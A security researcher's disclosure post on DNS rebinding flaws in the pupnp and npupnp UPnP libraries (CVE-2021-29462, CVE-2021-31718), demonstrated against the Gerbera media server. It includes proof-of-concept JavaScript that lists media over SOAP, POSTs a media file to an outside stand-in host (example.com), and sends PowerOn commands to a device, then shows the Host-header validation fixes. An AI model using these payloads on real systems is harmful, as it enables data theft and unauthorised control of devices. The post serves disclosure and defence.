/dev/posts/

DNS rebinding vulnerability in pupnp and npupnp

Published:

Updated:

I found that pupnp was vulnerable to DNS rebinding attacks. npupnp, a fork a pupnp, was impacted as well. This is demonstrated using Gerbera a UPnP MediaServer.

Table of content

Summary

ID Vulnerability Fixed in
CVE-2021-29462 DNS rebinding vulnerability in pupnp 1.14.6
CVE-2021-31718 DNS rebinding vulnerability in npupnp 4.1.4

The device part of pupnp, a library used to implement Universal Plug and Play (UPnP) device application and control points, is vulnerable to DNS-rebinding attacks. A remote web server can exploit this vulnerability to trick the user browser into triggering actions on the local UPnP services implemented using this library or to exfiltrate resources resources exposed using the embedded web server. This is CVE-2021-29462. This has been fixed in v1.14.6.

The same vulnerability is found in npupnp, a fork of pupnp. This is CVE-2021-31718. This has been fixed in v4.1.4.

For example, this can be used to exfiltrate the content of the media files exposed by the Gerbera UPnP AV MediaServer server (which can user either pupnp of npupnp). Moreover, it should be possible to delete or upload files if these functionalities are enabled in the server configuration.

For both libraries, the eventing endpoints (GENA, SUBSCRIBE) are vulnerable to DNS rebinding as well. The impact is probably quite limited as a mitigation for the CallStranger vulnerability is implemented in both libraries.

Impact for Gerbera

Gerbera is a UPnP media server. It provides the following services:

I found that Gerbera (when using pupnp):

Both the control (SOAP) endpoints and the media stream endpoints of Gerbera are vulnerable to DNS rebinding attacks. This can be used by a malicious server to exfiltrate both the list of meda files managed by Gerbera and their content. If the features are enabled in the server configurations, it would be possible to create/delete/overwrite media files as well.

Moreover, as the the URI paths of the media files is predictable it is possible to exfiltrate the content of the media files even without using the control/SOAP endpoints.

Exploitation

Proof of concept for Gerbera

For this example, we must serve malicious JavaScript using a server hosted using the same TCP port as the UPnP service. The browser user must access this web server using a DNS rebinding domain name. For example,

http://a.192.0.2.1.3time.192.168.1.42.forever.3600bba7-1363-43c6-0065-ccb92aaeccb3.rebind.network:49152/

We can make UPnP (SOAP) requests and access the responses:

while(true) {
  try {
    let response = await fetch("/upnp/control/cds", {
          method: "POST",
          headers: {
            "Content-Type": "text/xml; charset=utf-8",
            "SOAPAction": '"urn:schemas-upnp-org:service:ContentDirectory:3#Browse"',
          },
          body: `<?xml version="1.0" encoding="utf-8"?>
    <s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
      <s:Body>
        <u:Browse xmlns:u="urn:schemas-upnp-org:service:ContentDirectory:3">
          <ObjectID>5</ObjectID>
          <BrowseFlag>BrowseDirectChildren</BrowseFlag>
          <Filter>*</Filter>
          <StartingIndex>0</StartingIndex>
          <RequestedCount>20</RequestedCount>
          <SortCriteria></SortCriteria>
        </u:Browse>
      </s:Body>
    </s:Envelope>`});
    let text = await response.text();
    console.log(text);
    return;
  }
  catch(e) {
  }
}

The answer is of the form:

<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
  <u:BrowseResponse xmlns:u="urn:schemas-upnp-org:service:ContentDirectory:1">
    <Result>&lt;DIDL-Lite xmlns=&quot;urn:schemas-upnp-org:metadata-1-0/DIDL-Lite/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:upnp=&quot;urn:schemas-upnp-org:metadata-1-0/upnp/&quot;&gt;&lt;item id=&quot;6&quot; parentID=&quot;5&quot; restricted=&quot;1&quot;&gt;&lt;dc:title&gt;01_999999_64kb.mp3&lt;/dc:title&gt;&lt;upnp:class&gt;object.item.audioItem.musicTrack&lt;/upnp:class&gt;&lt;upnp:artist&gt;Nine Inch Nails&lt;/upnp:artist&gt;&lt;upnp:album&gt;The Slip&lt;/upnp:album&gt;&lt;dc:date&gt;2008-08-18&lt;/dc:date&gt;&lt;upnp:originalTrackNumber&gt;1/10&lt;/upnp:originalTrackNumber&gt;&lt;upnp:artist role=&quot;AlbumArtist&quot;&gt;Nine Inch Nails&lt;/upnp:artist&gt;&lt;res protocolInfo=&quot;http-get:*:audio/mpeg:*&quot; size=&quot;683876&quot; bitrate=&quot;8028&quot; duration=&quot;00:01:25.1&quot; sampleFrequency=&quot;22050&quot; nrAudioChannels=&quot;2&quot;&gt;http://192.168.1.42:49152/content/media/object_id/6/res_id/0/ext/file.mp3&lt;/res&gt;&lt;/item&gt;&lt;/DIDL-Lite&gt;</Result>
    <NumberReturned>1</NumberReturned>
    <TotalMatches>1</TotalMatches>
    <UpdateID>0</UpdateID>
  </u:BrowseResponse>
  </s:Body>
</s:Envelope>

Which contains the DIDL result:

<DIDL-Lite xmlns="urn:schemas-upnp-org:metadata-1-0/DIDL-Lite/"
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:upnp="urn:schemas-upnp-org:metadata-1-0/upnp/">
  <item id="6" parentID="5" restricted="1">
    <dc:title>01_999999_64kb.mp3</dc:title>
    <upnp:class>object.item.audioItem.musicTrack</upnp:class>
    <upnp:artist>Nine Inch Nails</upnp:artist>
    <upnp:album>The Slip</upnp:album>
    <dc:date>2008-08-18</dc:date>
    <upnp:originalTrackNumber>1/10</upnp:originalTrackNumber>
    <upnp:artist role="AlbumArtist">Nine Inch Nails</upnp:artist>
    <res protocolInfo="http-get:*:audio/mpeg:*" size="683876" bitrate="8028" duration="00:01:25.1" sampleFrequency="22050" nrAudioChannels="2">http://192.168.1.42:49152/content/media/object_id/6/res_id/0/ext/file.mp3</res>
  </item>
</DIDL-Lite>

The malicious JavaScript code can list the available files (and possibly exfiltrate them to a remote web server). It can then download actual content of the files and exfiltrate them:

const response = await fetch("/content/media/object_id/6/res_id/0/ext/file.mp3s");
const blob = await response.blob();
await fetch("http://www.example.com/", {
  method: "POST",
  body: blob
});

Proof of concept for tv_device

tv_device is an example program included in both libraries.

Attack code:

while(true) {
  await fetch("/upnp/control/tvcontrol1", {
    method: "POST",
    headers: {
      "Content-Type": "text/xml; charset=utf-8",
      "SOAPAction": '"urn:schemas-upnp-org:service:tvcontrol:1#PowerOn"',
    },
    body: `<?xml version="1.0" encoding="utf-8"?>
      <s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
        <s:Body>
          <u:PowerOn xmlns:u="urn:schemas-upnp-org:service:tvcontrol:1">
          </u:PowerOn>
        </s:Body>
      </s:Envelope>`
  }).then(r => r.text()).then(console.log).catch(() => {});
}

Served from:

http://a.192.0.2.1.3time.192.168.1.42.forever.ccffba7-fff3-4bb6-9865-2db92aaeccb3.rebind.network:49152/

using whonow.

Resolution

For both libraries, this can be resolved by validating that the Host header contains a literal IP address and not a doman name.

Resolution in pupnp

The fix in pupnp is:

if (host_validate_callback) {
        rc = host_validate_callback(host_port, cookie);
} else if (!host_header_is_numeric(host_port, min_size)) {
        if (!gAllowLiteralHostRedirection) {
                rc = UPNP_E_BAD_HTTPMSG;
                UpnpPrintf(UPNP_INFO,
                        MSERV,
                        __FILE__,
                        __LINE__,
                        "Possible DNS Rebind attack prevented.\n");
                goto ExitFunction;
        } else {
                membuffer redir_buf;
                static const char *redir_fmt =
                        "HTTP/1.1 307 Temporary Redirect\r\n"
                        "Location: http://%s\r\n\r\n";
                char redir_str[NAME_SIZE];
                int timeout = HTTP_DEFAULT_TIMEOUT;

                getNumericHostRedirection(
                        info->socket, host_port, sizeof host_port);
                membuffer_init(&redir_buf);
                snprintf(redir_str, NAME_SIZE, redir_fmt, host_port);
                membuffer_append_str(&redir_buf, redir_str);
                rc = http_SendMessage(info,
                        &timeout,
                        "b",
                        redir_buf.buf,
                        redir_buf.length);
                membuffer_destroy(&redir_buf);
                goto ExitFunction;
        }
}

where host_header_is_numeric() is:

static int host_header_is_numeric(
        UpnpLib *p, char *host_port, size_t host_port_size)
{
        int rc = 0;
        struct in6_addr addr;
        char *s;
        (void)p;

        /* Remove the port part. */
        s = host_port + host_port_size - 1;
        while (s != host_port && *s != ':') {
                --s;
        }
        *s = 0;
        /* Try IPV4 */
        rc = inet_pton(AF_INET, host_port, &addr);
        if (rc == 1) {
                goto ExitFunction;
        }
        /* Try IPV6 */
        /* Check for and remove the square brackets. */
        if (strlen(host_port) < 3 || host_port[0] != '[' || *(s - 1) != ']') {
                rc = 0;
                goto ExitFunction;
        }
        *(s - 1) = '\0';
        rc = inet_pton(AF_INET6, host_port + 1, &addr) == 1;

ExitFunction:
        return rc;
}

By default, any non literal IP address used in the Host header results in an error. An option can be enabled to generate a 307 redirection instead. In addition, a custom callback can be used to define which Host header values should be accepted by the server.

Resolution in npupnp

The fix in npupnp is:

// We normally verify the contents of the HOST header, but we used not
// to. This option preserves the old behaviour.
if (g_optionFlags & UPNP_FLAG_NO_HOST_VALIDATE) {
    return MHD_YES;
}

NetIF::IPAddr claddr(reinterpret_cast<sockaddr*>(mhdt->client_address));
switch (validate_host_header(mhdt, claddr)) {
case VHH_YES: return MHD_YES;
case VHH_NO: return MHD_NO;
case VHH_REDIRECT: break;
}

// Redirect
std::string aurl = rebuild_url_from_mhdt(mhdt, url, claddr);
if (aurl.empty()) {
    return MHD_NO;
}
UpnpPrintf(UPNP_INFO, MSERV, __FILE__, __LINE__, "Redirecting to [%s]\n", aurl.c_str());
struct MHD_Response *response = MHD_create_response_from_buffer(0,0,MHD_RESPMEM_PERSISTENT);
if (nullptr == response ) {
    UpnpPrintf(UPNP_DEBUG, MSERV, __FILE__, __LINE__,
               "answer_to_connection: can't create redirect\n");
    return MHD_NO;
}
MHD_add_response_header (response, "Location", aurl.c_str());
MHD_Result ret = MHD_queue_response(conn, 302, response);
MHD_destroy_response(response);
return ret;

Where validate_host_header() is:

static VHH_Status validate_host_header(MHDTransaction *mhdt, NetIF::IPAddr& claddr)
{
    // Find HOST header
    auto hostit = mhdt->headers.find("host");
    if (hostit == mhdt->headers.end()) {
        // UPNP specifies that HOST is required in HTTP requests
        UpnpPrintf(UPNP_INFO, MSERV, __FILE__, __LINE__,
                   "answer_to_connection: no HOST header in request from %s\n",
                   claddr.straddr().c_str());
        return VHH_NO;
    }
    // Parse the value
    struct hostport_type hostport;
    if (UPNP_E_INVALID_URL == parse_hostport(hostit->second.c_str(), &hostport, false)) {
        UpnpPrintf(UPNP_INFO, MSERV, __FILE__, __LINE__,
                   "answer_to_connection: bad HOST header %s in request from %s\n",
                   hostit->second.c_str(), claddr.straddr().c_str());
        return VHH_NO;
    }

    // Host name: if the appropriate callback was set, validate with the client
    // code, only for a Web request (UPnP calls like SOAP want numeric).
    if (hostport.hostisname) {
        switch (mhdt->method) {
        case HTTPMETHOD_GET:
        case HTTPMETHOD_HEAD:
        case HTTPMETHOD_POST:
        case HTTPMETHOD_SIMPLEGET:
            break;
        default:
            UpnpPrintf(UPNP_INFO, MSERV, __FILE__, __LINE__,
                       "answer_to_connection: bad HOST header %s (host name) in non-web "
                       "request from %s\n", hostit->second.c_str(), claddr.straddr().c_str());
            return VHH_NO;
        }
        if (nullptr != g_hostvalidatecallback &&
            g_hostvalidatecallback(
                hostport.strhost.c_str(), g_hostvalidatecookie) == UPNP_E_SUCCESS) {
            return VHH_YES;
        }
        return (g_optionFlags & UPNP_FLAG_REJECT_HOSTNAMES) ? VHH_NO : VHH_REDIRECT;
    }

    // At this point, we know that we had a numeric IP address, and we
    // don't actually need to check the addresses against our
    // interfaces, the dns-rebind issue is solved. However, just because we can:
    NetIF::IPAddr hostaddr(hostport.strhost);
    if (!hostaddr.ok()) {
        UpnpPrintf(UPNP_INFO, MSERV, __FILE__, __LINE__,
                   "answer_to_connection: bad HOST header %s in request from %s\n",
                   hostit->second.c_str(), claddr.straddr().c_str());
        return VHH_NO;
    }
    // IPV6: set the scope idx from the client sockaddr. Does nothing for IPV4
    hostaddr.setScopeIdx(claddr);
    NetIF::IPAddr notused;
    if (nullptr == NetIF::Interfaces::interfaceForAddress(hostaddr, g_netifs, notused)) {
        UpnpPrintf(UPNP_INFO, MSERV, __FILE__, __LINE__,
                   "answer_to_connection: no interface for address in HOST header %s "
                   "in request from %s\n", hostit->second.c_str(), claddr.straddr().c_str());
        return VHH_NO;
    }

#if 0
    UpnpPrintf(UPNP_INFO, MSERV, __FILE__, __LINE__,
               "answer_to_connection: host header %s (host %s port %s) ok for claddr %s\n",
               hostit->second.c_str(), hostport.strhost.c_str(), hostport.strport.c_str(),
               claddr.straddr().c_str());
#endif
    return VHH_YES;
}

References

Credits

I would like to thank the pupnp and npupnp teams which were very reactive.

Timeline